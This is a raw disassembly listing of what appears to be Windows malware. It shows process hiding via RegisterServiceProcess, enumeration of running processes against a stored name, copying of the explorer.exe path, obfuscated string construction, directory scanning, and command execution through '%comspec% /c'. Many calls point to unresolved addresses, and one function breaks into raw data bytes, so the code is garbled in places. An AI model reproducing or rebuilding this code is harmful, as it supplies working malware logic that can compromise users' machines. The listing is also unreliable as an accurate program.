		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D027


loc_40CFB0:				; CODE XREF: sub_40CF60+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D017
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40CFCA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D017
		cmp	al, 2Eh
		jz	short loc_40D017


loc_40CFCA:				; CODE XREF: sub_40CF60+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D017:				; CODE XREF: sub_40CF60+55j
					; sub_40CF60+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		call	near ptr 2850000h
		nop
		test	eax, eax
		jnz	short loc_40CFB0


loc_40D027:				; CODE XREF: sub_40CF60+4Ej
		push	ebx
		nop
		call	near ptr 2840212h
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2860000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0BB


loc_40D068:				; CODE XREF: sub_40CF60+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		call	near ptr 2850000h
		nop
		test	eax, eax
		jnz	short loc_40D068


loc_40D0BB:				; CODE XREF: sub_40CF60+106j
		push	ebx
		nop
		call	near ptr 2840212h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CF60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D130	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40D130	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D2E0:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2861CD4h
		push	eax
		call	near ptr 286120Fh
		nop
		mov	eax, dword_4470B0
		test	eax, eax
		jz	loc_40D403
		mov	ecx, dword_4470AC
		test	ecx, ecx
		jz	loc_40D403
		mov	ecx, dword_446F78
		test	ecx, ecx
		jz	loc_40D403
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_4470A8, eax
		jz	loc_40D403
		push	ebp
		push	offset dword_446F80
		push	eax
		xor	ebp, ebp
		mov	dword_446F80, 128h
		call	dword_4470AC	; Process32First
		test	eax, eax
		jz	loc_40D3EC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D36D:				; CODE XREF: ___:0040D3E7j
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446FA4
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446FA4
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D3D3
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446FA4
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D3D4


loc_40D3D3:				; CODE XREF: ___:0040D3ABj
		inc	ebp


loc_40D3D4:				; CODE XREF: ___:0040D3D1j
		mov	eax, dword_4470A8
		push	offset dword_446F80
		push	eax
		call	dword_446F78	; Process32Next
		test	eax, eax
		jnz	short loc_40D36D
		pop	edi
		pop	esi
		pop	ebx


loc_40D3EC:				; CODE XREF: ___:0040D357j
		mov	ecx, dword_4470A8
		push	ecx
		nop
		call	near ptr 282071Eh
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D403:				; CODE XREF: ___:0040D306j
					; ___:0040D314j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D460:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		call	near ptr 2870B00h
		nop
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28705FAh
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2870000h
		push	esi
		call	ebx


loc_40D526:				; CODE XREF: ___:0040D4C9j
					; ___:0040D50Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D580	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		nop
		call	near ptr 2861CD4h
		push	eax
		nop
		call	near ptr 286120Fh
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	near ptr 27C07DCh
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D671
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_4470B4, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_4470B0, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_4470AC, eax
		call	edi
		mov	dword_446F78, eax
		mov	eax, dword_4470B4
		test	eax, eax
		jz	short loc_40D671
		push	ebx
		push	0
		call	eax


loc_40D671:				; CODE XREF: sub_40D580+A7j
					; sub_40D580+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D6A8
		mov	al, byte_44719F
		test	al, al
		jz	short loc_40D6A8
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D6A8:				; CODE XREF: sub_40D580+10Dj
					; sub_40D580+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_40D580	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
		dd 8D50FFFFh, 0A8248Ch,	38680000h, 5100443Bh, 1E0201E8h
		dd 3D8B9000h, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h
		dd 2404417h, 24848D90h,	9Ch, 8D50006Ah,	0E830244Ch, 0FFFF3D79h
		dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h
		dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3EA0h,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 84E80000h, 90023D2Ch, 874C085h, 0E890006Ah
		dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1,	0FF3875E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3861E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB10	proc near		; CODE XREF: sub_401195j
		mov	al, byte_4471A1
		test	al, al
		jz	short loc_40DB24
		push	offset word_4471A2
		nop
		call	near ptr 27D08CCh


loc_40DB24:				; CODE XREF: sub_40DB10+7j
		mov	al, 1
		retn
sub_40DB10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB40	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DB40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2861CD4h
		push	eax
		call	near ptr 286120Fh
		nop
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27B0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 2840000h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E0A1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4019B5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4019B5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		call	near ptr 27C0000h
		nop
		push	esi
		nop
		call	near ptr 282071Eh
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2861CD4h
		push	eax
		nop
		call	near ptr 286120Fh
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		nop
		call	near ptr 27E0617h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_40DB40+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DB40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
